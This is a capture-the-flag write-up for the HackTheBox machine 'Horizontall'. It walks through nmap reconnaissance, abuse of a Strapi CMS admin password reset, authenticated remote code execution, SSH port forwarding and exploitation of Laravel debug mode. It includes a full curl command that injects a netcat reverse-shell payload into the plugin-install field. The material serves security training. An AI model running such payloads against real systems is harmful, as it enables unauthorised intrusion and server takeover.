CTF-Writeups/HackTheBox/Horizontall.md
2022-02-06 02:45:44 +05:00

6.4 KiB

HackTheBox-Horizontall

NMAP


PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:                                                            
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA) 
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL2qJTqj1aoxBGb8yWIN4UJwFs4/UgDEutp3aiL2/6yV2iE78YjGzfU74VKlTRvJZWBwDmIOosOBNl9nfmEzXerD0g5lD5SporBx06eWX/XP
2sQSEKbsqkr7Qb4ncvU8CvDR6yGHxmBT8WGgaQsA2ViVjiqAdlUDmLoT2qA3GeLBQgS41e+TysTpzWlY7z/rf/u0uj/C3kbixSB/upkWoqGyorDtFoaGGvWet/q7j5Tq061MaR6cM2CrYcQxxnPy
4LqFE3MouLklBXfmNovryI0qVFMki7Cc3hfXz6BmKppCzMUPs8VgtNgdcGywIU/Nq1aiGQfATneqDD2GBXLjzV
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIyw6WbPVzY28EbBOZ4zWcikpu/CPcklbTUwvrPou4dCG4koataOo/RDg4MJuQP+sR937/ugmI
NBJNsYC8F7jN0=
|   256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJqmDVbv9RjhlUzOMmw3SrGPaiDBgdZ9QZ2cKM49jzYB
80/tcp open  http    syn-ack ttl 63 nginx 1.14.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

PORT 80 (HTTP)

When visit the web server it's going to redirect us to horizontall.htb so let's add this in /etc/hots file

We can see from the icon on title bar it's from Vue.js which is a javascript framework. At the bottom of the web page we can see a contact form

But on clicking the send button it doesn't do anything

I tried to poke around the website manually but didn't find anything so ran nikto scan but it didn't showed anything interesting other than nginx version which we already saw from nmap scan

Tried fuzzing for files using gobuster and ffuf but they failed as the connection was timing out whenever I ran the tool again to look for any subdomains but it failed so I tired to look around in javascript files

This javascript file gave us a subdomain so let's add and see where it takes

From wappalyzer results it seems this is scrapi cms so search for any vulnerabilties I saw synack listed some we can also verify the version for strapi

Version is 3.0.0-beta.17.4 so we are on the right track

Let's try visting the link

Here it asks us for the admin credentials so let's try admin:admin but this failed , going back to vulnerabilites page we can see Improper Access Control , there's a flaw in javascript files which doesn't properly handle password resets so we can reset the password of any user in this case "admin".

So I found a python script after goolging for password reset which can reset a user's password by supplying a vaid username , the IP address and the new password which we want to set

And we are in the admin panel

Now focusing on getting a rce I found another article related to it

curl -i -s -k -X $'POST' -H $'Host: localhost:1337' -H $'Authorization: Bearer [jwt]' -H $'Content-Type: application/json' -H $'Origin: http://localhost:1337' -H $'Content-Length: 123' -H $'Connection: close' --data $'{\"plugin\":\"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f)\",\"port\":\"1337\"}' $'http://localhost:1337/admin/plugins/install'

Here we need to use the jwt token which got after password reset so we need to use it there

I used --proxy as I was getting bad request error because at then end of json } was missing so I added that in burp suite and got a shell

Stabilize the shell with python3

If we take a look at local ports with ss -tulpn (socket status) , we'll see two local ports on which a web page is running

The web page on port 1337 is the one we saw api-prod subdomain so , we'll need port forawrd 8000 , we can do this through ssh local port forwarding by including our public key in authroized_keys file so we can login with our private key

Let's try to do port forwarding through ssh

This shows us the laravel version so there must be a CVE for this as well, we can check if the laravel applicaiton is running in debugging mode by visiting /profiles

Perfect now by following the way to exploit deubg mode to get remote code execution

Clone these two repositories

First we'll going to make a file with ls command being executed than run that PHAR file against the python script

And the rce works so now we can get a reverse shell by including the netcat payload

References